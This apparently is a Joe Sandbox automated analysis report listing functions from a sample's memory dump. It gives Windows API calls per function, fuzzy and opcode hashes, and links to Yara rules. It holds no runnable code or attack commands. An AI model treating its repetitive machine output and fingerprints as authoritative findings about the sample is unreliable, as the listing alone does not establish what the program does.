Part of subcall function 00F98D7D: lstrcpyW.KERNEL32(00000000,?,?,00F9790A,?,000000FF,?,00F98754,00000000,?,0000001C,?,?,00000000), ref: 00F98DB2
Part of subcall function 00F98D7D: lstrcmpiW.KERNEL32(00000000,?,00F9790A,?,000000FF,?,00F98754,00000000,?,0000001C,?,?), ref: 00F98DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00F98754,00000000,?,0000001C,?,?,00000000), ref: 00F97923
lstrcpyW.KERNEL32(00000000,?,?,00F98754,00000000,?,0000001C,?,?,00000000), ref: 00F97949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00F98754,00000000,?,0000001C,?,?,00000000), ref: 00F97984

Strings

cdecl, xrefs: 00F9797B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 0608e6af8ee37380bb161f60b95b5a08d9973a589d751f71a7ed35041c96b340
Instruction ID: e13d125cff2f83cdf12a088fd1d69fa4a3122f83991e28a52f1150d143969185
Opcode Fuzzy Hash: 0608e6af8ee37380bb161f60b95b5a08d9973a589d751f71a7ed35041c96b340
Instruction Fuzzy Hash: 8911E43A600305ABDF156F35DC45E7A77A5EF85390B10402AE906C7264EB319801E791

Function 00FC7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00FC7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00FC7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00FC7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00FAB7AD,00000000), ref: 00FC7D6B

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 295fcb37e195882e8fa669e50a33072c1c41f015a857531f4bb5b80e677a9ed1
Instruction ID: a53be2344b31aa2d7f78641576fc39fdd5d3c63e610d7c18ee23b33130be92a0
Opcode Fuzzy Hash: 295fcb37e195882e8fa669e50a33072c1c41f015a857531f4bb5b80e677a9ed1
Instruction Fuzzy Hash: 03118C32A0461AAFCB11AF28DD05FA63BA5AF45370F154728F83AD72E0D7319950EF90

Function 00F61D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb6ea86a290ccee9b4b18be5c4b283ace8d800d54dfbcf5921a7fec86086f47
Instruction ID: 9c926f2455beb7f684b1754dfe9e0aa6b6c3b1a63d7bb371e58c5cf6df541965
Opcode Fuzzy Hash: deb6ea86a290ccee9b4b18be5c4b283ace8d800d54dfbcf5921a7fec86086f47
Instruction Fuzzy Hash: 4201D6B2A05A1A3EF62126786CC1F27762CEF817B8F380326F521522D2DB658C007170

Function 00F91A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00F91A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F91A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F91A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F91A8A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c95f1ae0b62abc97e428861f6881a217368176324097ae8309ec52497de6acfe
Instruction ID: 5b26874d3c5382e2365daeaecf66708e7217bf2de0668d02d439aedbe5874252
Opcode Fuzzy Hash: c95f1ae0b62abc97e428861f6881a217368176324097ae8309ec52497de6acfe
Instruction Fuzzy Hash: DF11F73AD01219FFEF119BA5CD85FADBB78FB08750F2000A1EA04B7290D6756E50EB94

Function 00F9E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F9E1FD
MessageBoxW.USER32(?,?,?,?), ref: 00F9E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00F9E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00F9E24D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 37d9a2322d1752aa4faca06535714c8d71d04dbca4bf3bf6fe426e3b1a74a177
Instruction ID: 1921e3bad3547f460dbda3462876c3ce3b452763af2d3c0434ef616eea5ba6e2
Opcode Fuzzy Hash: 37d9a2322d1752aa4faca06535714c8d71d04dbca4bf3bf6fe426e3b1a74a177
Instruction Fuzzy Hash: 08112672D04258BFDB11DFA8AC0AE9E7FACEB45320F148215F928E3281D6B5CD0497A0

Function 00F5D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00F5CFF9,00000000,00000004,00000000), ref: 00F5D218
GetLastError.KERNEL32 ref: 00F5D224
__dosmaperr.LIBCMT ref: 00F5D22B
ResumeThread.KERNEL32(00000000), ref: 00F5D249

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: e543ae07f896ad487517e44655f8596fc7cd91413d29793d6ba16a916d5713fd
Instruction ID: e88086efaff1f943ff6face9ff8ae7ec90e14cbe71837f784065366db93005c4
Opcode Fuzzy Hash: e543ae07f896ad487517e44655f8596fc7cd91413d29793d6ba16a916d5713fd
Instruction Fuzzy Hash: A201F9768066087BD7315BA5DC05FAE7A69DF81332F100259FE25921D0DB75C909F7E0

Function 00FC9EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

GetClientRect.USER32(?,?), ref: 00FC9F31
GetCursorPos.USER32(?), ref: 00FC9F3B
ScreenToClient.USER32(?,?), ref: 00FC9F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00FC9F7A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 807a31659244b3d523127e8e04aafbda2f249ef1444096f0afa1c2d3614a3ff9
Instruction ID: 8b8e8524542221f470c02f9840c8587ae4f7304e5a95da9b74b65fa5a59deff6
Opcode Fuzzy Hash: 807a31659244b3d523127e8e04aafbda2f249ef1444096f0afa1c2d3614a3ff9
Instruction Fuzzy Hash: D711183290411AEBDB11DF68DA8AEEE77B9FB45311F000459F911E3140D775BA81EBA1

Function 00F3600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00F3604C
GetStockObject.GDI32(00000011), ref: 00F36060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F3606A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 02f35ae8e1257679a0184536f9dff1ab0e26630b06375459997c9135c8245870
Instruction ID: 3d0c240a2a2bfcd2c35ad5f9558606803bbad6230347ea99749be680023897f3
Opcode Fuzzy Hash: 02f35ae8e1257679a0184536f9dff1ab0e26630b06375459997c9135c8245870
Instruction Fuzzy Hash: 4C116DB2501508BFEF164FA49D46EEABB69EF093B4F044216FA1892110D736DC60FBA0

Function 00F53B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00F53B56

Part of subcall function 00F53AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00F53AD2
Part of subcall function 00F53AA3: ___AdjustPointer.LIBCMT ref: 00F53AED

_UnwindNestedFrames.LIBCMT ref: 00F53B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00F53B7C
CallCatchBlock.LIBVCRUNTIME ref: 00F53BA4

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 0c88a69af704ad1c8f587265d49967e995174b32f1cfcedfa479e9d3c69af7bc
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: A6012932500148BBDF125E99CC42EEB3B69EF887A9F044014FF4896121C736E965EBA0

Function 00F63073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00F313C6,00000000,00000000,?,00F6301A,00F313C6,00000000,00000000,00000000,?,00F6328B,00000006,FlsSetValue), ref: 00F630A5
GetLastError.KERNEL32(?,00F6301A,00F313C6,00000000,00000000,00000000,?,00F6328B,00000006,FlsSetValue,00FD2290,FlsSetValue,00000000,00000364,?,00F62E46), ref: 00F630B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F6301A,00F313C6,00000000,00000000,00000000,?,00F6328B,00000006,FlsSetValue,00FD2290,FlsSetValue,00000000), ref: 00F630BF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 14e61367aea5ce794db5bc23aff2e5a84b8ebd65705f29ca6036771b69a4475f
Instruction ID: bf14876d1139bb4fa61cf9e37d8b4c7e771b245d9707dfa6b38a28994ea76be0
Opcode Fuzzy Hash: 14e61367aea5ce794db5bc23aff2e5a84b8ebd65705f29ca6036771b69a4475f
Instruction Fuzzy Hash: 3101F732701226BBCB314B79AC45E677B98EF45BB9B100720F909E3140C721D909E6E0

Function 00F97464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00F9747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00F97497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00F974AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00F974CA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 120ac3b9d499ae46067795d1c0a6b4050c884f0d13dfc1d7a682a2dd8fd85c23
Instruction ID: 218c2d95ff1a4f2a4597e9fcdf24f7476090667effa338d39bdc6cb4327dbbf3
Opcode Fuzzy Hash: 120ac3b9d499ae46067795d1c0a6b4050c884f0d13dfc1d7a682a2dd8fd85c23
Instruction Fuzzy Hash: BE117CB1615314DBFB20DF19DD09F927BB8EB00B00F108569E61AD7192D770E904AB90

Function 00F9B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00F9ACD3,?,00008000), ref: 00F9B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F9ACD3,?,00008000), ref: 00F9B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00F9ACD3,?,00008000), ref: 00F9B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F9ACD3,?,00008000), ref: 00F9B126

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: bb53a9da0ab159c19e107a50e9bf73054b1c5af7597a3e5445d04957fa461273
Instruction ID: 9fe8d4fdb16d49c5076d3f6a9e7d471c27c3a49995ee0732e7db330947261856
Opcode Fuzzy Hash: bb53a9da0ab159c19e107a50e9bf73054b1c5af7597a3e5445d04957fa461273
Instruction Fuzzy Hash: C0115B31C0162CE7DF00AFE5EA69AEEBF78FF49711F114095D941B3181CB305690AB91

Function 00FC7E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FC7E33
ScreenToClient.USER32(?,?), ref: 00FC7E4B
ScreenToClient.USER32(?,?), ref: 00FC7E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FC7E8A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: f4b712aacbdd29a9b24b8243c8c37e898a9bfc144ea35193784846a031a42314
Instruction ID: c0d0f4b62357bcf0236d9d663ba72efadd93a437388e007cdc9d813510399999
Opcode Fuzzy Hash: f4b712aacbdd29a9b24b8243c8c37e898a9bfc144ea35193784846a031a42314
Instruction Fuzzy Hash: 9A1143B9D0020AAFDB41DF98C985AEEBBF5FF08310F505056E915E3210D735AA55DF90

Function 00F92DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00F92DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00F92DD6
GetCurrentThreadId.KERNEL32 ref: 00F92DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00F92DE4

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 44e4dbd15b1b616dd9f7fb305a2cb2d33b23498a9e6252eeb57a4e60a5161bc9
Instruction ID: 144dee92e64faa8a6624549b5f151be75f179b1a7d99048983155b2a260a818c
Opcode Fuzzy Hash: 44e4dbd15b1b616dd9f7fb305a2cb2d33b23498a9e6252eeb57a4e60a5161bc9
Instruction Fuzzy Hash: 2CE065715012287AEB2017639D0EFE73E5CEF42B61F000015F109D20409AA18445F6F0

Function 00FC8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00F49639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F49693
Part of subcall function 00F49639: SelectObject.GDI32(?,00000000), ref: 00F496A2
Part of subcall function 00F49639: BeginPath.GDI32(?), ref: 00F496B9
Part of subcall function 00F49639: SelectObject.GDI32(?,00000000), ref: 00F496E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00FC8887
LineTo.GDI32(?,?,?), ref: 00FC8894
EndPath.GDI32(?), ref: 00FC88A4
StrokePath.GDI32(?), ref: 00FC88B2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 95405e36052e4e5ad9e37b7c1c0df9d0fc9e25b668cc719f878a003f69f3baf9
Instruction ID: 9b63ccc69464b041c584f1f44f85084b2d9998bae0e21f412e6f42e7b647afa8
Opcode Fuzzy Hash: 95405e36052e4e5ad9e37b7c1c0df9d0fc9e25b668cc719f878a003f69f3baf9
Instruction Fuzzy Hash: 0AF05E36045259FADB225F94AD0AFDE3F59AF06310F048004FA55A60E1C7B95511EFE5

Function 00F498B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00F498CC
SetTextColor.GDI32(?,?), ref: 00F498D6
SetBkMode.GDI32(?,00000001), ref: 00F498E9
GetStockObject.GDI32(00000005), ref: 00F498F1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 96552f8f42157becf96a02fbaa393c25dfad74ce8a45c905fd37aa6f158082d6
Instruction ID: 5c1c4ceddffb8e5fd02ad80ee2e231ab27fad2f1d231e62b30bd7e67d193f91e
Opcode Fuzzy Hash: 96552f8f42157becf96a02fbaa393c25dfad74ce8a45c905fd37aa6f158082d6
Instruction Fuzzy Hash: B0E06531644284AEDB216B75BD0AFD93F10AB51735F188219F6FD590E1C3718640BB10

Function 00F9162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00F91634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00F911D9), ref: 00F9163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00F911D9), ref: 00F91648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00F911D9), ref: 00F9164F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: bca393a582915906600dd5a68e5298d5218136badb4826c3382f8c126f5301ba
Instruction ID: fe12c3bd0f2ca3a3df0fe1b138b698db01c2aa7ecb957ea13cd944e2b6fa2322
Opcode Fuzzy Hash: bca393a582915906600dd5a68e5298d5218136badb4826c3382f8c126f5301ba
